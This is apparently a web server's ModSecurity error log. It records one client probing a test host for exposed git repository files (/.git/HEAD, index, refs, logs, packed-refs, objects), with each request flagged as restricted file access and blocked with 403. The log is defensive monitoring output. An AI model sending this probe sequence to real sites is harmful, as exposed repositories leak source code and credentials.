[Fri Mar 13 10:38:47.808937 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abPbJ9w5WhVPlcU-Rd0siAAAAAY"]
[Fri Mar 13 10:38:47.809064 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abPbJ9w5WhVPlcU-Rd0siAAAAAY"]
[Fri Mar 13 10:38:47.832056 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abPbJ9w5WhVPlcU-Rd0siQAAAAY"]
[Fri Mar 13 10:38:47.832242 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abPbJ9w5WhVPlcU-Rd0siQAAAAY"]
[Fri Mar 13 10:38:47.832356 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/index"] [unique_id "abPbJ9w5WhVPlcU-Rd0siQAAAAY"]
[Fri Mar 13 10:38:47.854996 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abPbJ9w5WhVPlcU-Rd0sigAAAAY"]
[Fri Mar 13 10:38:47.855219 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abPbJ9w5WhVPlcU-Rd0sigAAAAY"]
[Fri Mar 13 10:38:47.855362 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "abPbJ9w5WhVPlcU-Rd0sigAAAAY"]
[Fri Mar 13 10:38:47.877479 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "abPbJ9w5WhVPlcU-Rd0siwAAAAY"]
[Fri Mar 13 10:38:47.877673 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "abPbJ9w5WhVPlcU-Rd0siwAAAAY"]
[Fri Mar 13 10:38:47.877800 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "abPbJ9w5WhVPlcU-Rd0siwAAAAY"]
[Fri Mar 13 10:38:47.900230 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjAAAAAY"]
[Fri Mar 13 10:38:47.900431 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjAAAAAY"]
[Fri Mar 13 10:38:47.900582 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjAAAAAY"]
[Fri Mar 13 10:38:47.923329 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjQAAAAY"]
[Fri Mar 13 10:38:47.923522 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjQAAAAY"]
[Fri Mar 13 10:38:47.923645 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjQAAAAY"]
[Fri Mar 13 10:38:47.945783 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjgAAAAY"]
[Fri Mar 13 10:38:47.945996 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjgAAAAY"]
[Fri Mar 13 10:38:47.946128 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjgAAAAY"]
[Fri Mar 13 10:38:47.968207 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjwAAAAY"]
[Fri Mar 13 10:38:47.968402 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjwAAAAY"]
[Fri Mar 13 10:38:47.968526 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks"] [unique_id "abPbJ9w5WhVPlcU-Rd0sjwAAAAY"]
[Fri Mar 13 10:38:47.991094 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "abPbJ9w5WhVPlcU-Rd0skAAAAAY"]
[Fri Mar 13 10:38:47.991283 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "abPbJ9w5WhVPlcU-Rd0skAAAAAY"]
[Fri Mar 13 10:38:47.991430 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "abPbJ9w5WhVPlcU-Rd0skAAAAAY"]
[Fri Mar 13 10:38:48.014052 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "abPbKNw5WhVPlcU-Rd0skQAAAAY"]
[Fri Mar 13 10:38:48.014250 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "abPbKNw5WhVPlcU-Rd0skQAAAAY"]
[Fri Mar 13 10:38:48.014396 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "abPbKNw5WhVPlcU-Rd0skQAAAAY"]
[Fri Mar 13 10:38:48.036792 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "abPbKNw5WhVPlcU-Rd0skgAAAAY"]
[Fri Mar 13 10:38:48.036996 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "abPbKNw5WhVPlcU-Rd0skgAAAAY"]
[Fri Mar 13 10:38:48.037123 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "abPbKNw5WhVPlcU-Rd0skgAAAAY"]
[Fri Mar 13 10:38:48.059214 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0skwAAAAY"]
[Fri Mar 13 10:38:48.059424 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0skwAAAAY"]
[Fri Mar 13 10:38:48.059546 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "abPbKNw5WhVPlcU-Rd0skwAAAAY"]
[Fri Mar 13 10:38:48.082070 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/packed-refs"] [unique_id "abPbKNw5WhVPlcU-Rd0slAAAAAY"]
[Fri Mar 13 10:38:48.082281 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/packed-refs"] [unique_id "abPbKNw5WhVPlcU-Rd0slAAAAAY"]
[Fri Mar 13 10:38:48.082432 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/packed-refs"] [unique_id "abPbKNw5WhVPlcU-Rd0slAAAAAY"]
[Fri Mar 13 10:38:48.104821 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects"] [unique_id "abPbKNw5WhVPlcU-Rd0slQAAAAY"]
